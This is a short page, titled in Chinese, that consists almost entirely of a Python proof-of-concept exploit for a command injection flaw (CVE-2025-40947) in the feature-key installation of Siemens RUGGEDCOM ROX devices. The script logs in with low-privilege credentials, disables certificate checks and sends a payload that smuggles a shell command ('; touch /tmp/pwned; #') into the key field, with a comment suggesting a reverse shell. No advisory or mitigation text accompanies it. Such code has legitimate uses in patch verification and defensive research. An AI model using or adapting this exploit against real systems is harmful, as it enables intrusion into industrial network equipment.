Siemens RUGGEDCOM ROX 功能密钥安装远程命令注入漏洞 (CVE-2025-40947)

import requests # Target URL (Example) target_url = "https://<TARGET_IP>/api/install_feature_key" # Attacker credentials (Low privilege required) username = "user" password = "password" # Malicious payload to inject command (e.g., create a file or reverse shell) # The semicolon (;) terminates the intended command and executes the injected one. payload = "; touch /tmp/pwned; #" data = { "key_content": payload, "install": "true" } try: session = requests.Session() # Login login_payload = {"username": username, "password": password} session.post("https://<TARGET_IP>/login", data=login_payload, verify=False) # Send exploit request response = session.post(target_url, data=data, verify=False) if response.status_code == 200: print("[+] Payload sent successfully. Check if command executed.") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")